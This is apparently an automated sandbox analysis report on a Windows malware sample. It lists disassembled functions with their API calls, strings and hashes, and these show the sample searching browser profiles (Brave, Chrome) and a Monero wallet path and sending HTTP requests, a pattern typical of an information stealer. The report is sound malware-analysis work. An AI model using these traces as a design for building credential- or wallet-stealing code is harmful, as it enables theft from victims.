Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: ("D$0#D$8$D$@"D$H#D$NtQueryInformationProcess$P$D$PSC$PUC$`#D$h$D$p"D$pSC$"D$$D
API String ID: 2238633743-1689078993
Opcode ID: b64390886b91748c732b6dcd285481374ac43d1363934a9296a1ea46cc0dd26e
Instruction ID: be21015b1f53a35d2aff094fdd8cffb4045de5611c0214bd9d02cb88e08cbea5
Opcode Fuzzy Hash: b64390886b91748c732b6dcd285481374ac43d1363934a9296a1ea46cc0dd26e
Instruction Fuzzy Hash: 90A16BB5500250FFD395EFA8ED88A663BF9F7DE301704C51AA60983264D73DA841CF2A

Function 005645C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0056460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0056479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005646CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0056466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005646AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005645F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0056474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005646C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0056477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005645C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0056475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0056473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005646D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0056471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005645DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005645D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005645E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005646B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0056462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00564657

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: f01d0d45ef5acf4e727b18e1d3a8f49bb5b15906d0c2ec300efa586eae2c8866
Instruction ID: 9f246d0ff6d4247a7eb5e4f39e6c4247f26810015d20e7c750323da9dd23490b
Opcode Fuzzy Hash: f01d0d45ef5acf4e727b18e1d3a8f49bb5b15906d0c2ec300efa586eae2c8866
Instruction Fuzzy Hash: 7241B2606C37046EEE24FFA48841BFE7A567F467C8F505484AC70E6280FAE0650C4FD6

Function 0056BE70 Relevance: 40.9, APIs: 17, Strings: 6, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

FindFirstFileA.KERNEL32(00000000,?,00580B32,00580B2B,00000000,?,?,?,005813F4,00580B2A), ref: 0056BEF5
StrCmpCA.SHLWAPI(?,005813F8), ref: 0056BF4D
StrCmpCA.SHLWAPI(?,005813FC), ref: 0056BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0056C7BF
FindClose.KERNEL32(000000FF), ref: 0056C7D1

Strings

Brave, xrefs: 0056C102
hD, xrefs: 0056C2DF
Preferences, xrefs: 0056C11E
PD, xrefs: 0056C161, 0056C4F1
Google Chrome, xrefs: 0056C634
\Brave\Preferences, xrefs: 0056C1DB

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$PD$\Brave\Preferences$hD
API String ID: 3334442632-2948140304
Opcode ID: 55c4ac55981dfc9fbf69d77042cc6dc22d7f149e162205dbed312971616dd2d2
Instruction ID: bde864809fb1d29fa03d1bb2bd290f1974ff6838c8d4b1a6293fd78776b11f4c
Opcode Fuzzy Hash: 55c4ac55981dfc9fbf69d77042cc6dc22d7f149e162205dbed312971616dd2d2
Instruction Fuzzy Hash: 8F424472900105A7CB14FB74EC5AEEE7B7CBBD4300F408558B90AA7191EF34AB49DB96

Function 6CA835A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB0F688,00001000), ref: 6CA835D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA835E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA835FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA8363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA8369F
__aulldiv.LIBCMT ref: 6CA836E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA83773
EnterCriticalSection.KERNEL32(6CB0F688), ref: 6CA8377E
LeaveCriticalSection.KERNEL32(6CB0F688), ref: 6CA837BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA837C4
EnterCriticalSection.KERNEL32(6CB0F688), ref: 6CA837CB
LeaveCriticalSection.KERNEL32(6CB0F688), ref: 6CA83801
__aulldiv.LIBCMT ref: 6CA83883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA83902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA83918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA8394C

Strings

GenuntelineI, xrefs: 6CA83639
GTC, xrefs: 6CA83912
MOZ_TIMESTAMP_MODE, xrefs: 6CA835DB
AuthcAMDenti, xrefs: 6CA83946
QPC, xrefs: 6CA838FC

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 94ad008e9682f975bd0c11a577b8da79e405821548659fe71f2a9ea58ee34e9d
Instruction ID: b9cef67d0d12badf0afb935a470196d9f1512235c9b5947d2a275eb16e736997
Opcode Fuzzy Hash: 94ad008e9682f975bd0c11a577b8da79e405821548659fe71f2a9ea58ee34e9d
Instruction Fuzzy Hash: 1AB1B371B0A3509FDB08DF28C85461ABBF9BB9A704F048A2DE8D9D3790D770D945CB85

Function 00574910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0057492C
FindFirstFileA.KERNEL32(?,?), ref: 00574943
StrCmpCA.SHLWAPI(?,00580FDC), ref: 00574971
StrCmpCA.SHLWAPI(?,00580FE0), ref: 00574987
FindNextFileA.KERNEL32(000000FF,?), ref: 00574B7D
FindClose.KERNEL32(000000FF), ref: 00574B92

Strings

%s\%s, xrefs: 005749FB
%s\*, xrefs: 00574920
%s\%s, xrefs: 005749A4

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 0c4b525872c2d5844b94ab8adb3e50ddb6b4af6faf5cb3513cde2a468fb6b1be
Instruction ID: 1c9851524d3a46a07e54c9cf09b10a4e042e50cb6df4b42e34462f20129292e3
Opcode Fuzzy Hash: 0c4b525872c2d5844b94ab8adb3e50ddb6b4af6faf5cb3513cde2a468fb6b1be
Instruction Fuzzy Hash: AD617972500219ABCB64EBA0EC49EFE777CBB89701F04C588B60D96040EB74EB85CF95

Function 00564880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Part of subcall function 005647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00564839
Part of subcall function 005647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00564849

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00564915
StrCmpCA.SHLWAPI(?,0044F8B0), ref: 0056493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00564ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00580DDB,00000000,?,?,00000000,?,",00000000,?,0044F8D0), ref: 00564DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00564E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00564E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00564E49
InternetCloseHandle.WININET(00000000), ref: 00564EAD
InternetCloseHandle.WININET(00000000), ref: 00564EC5
HttpOpenRequestA.WININET(00000000,0044F930,?,0044F550,00000000,00000000,00400100,00000000), ref: 00564B15

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

InternetCloseHandle.WININET(00000000), ref: 00564ECF

Strings

", xrefs: 00564D33
------, xrefs: 00564B28
------, xrefs: 005649BD
------, xrefs: 00564C69
", xrefs: 00564BF2

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
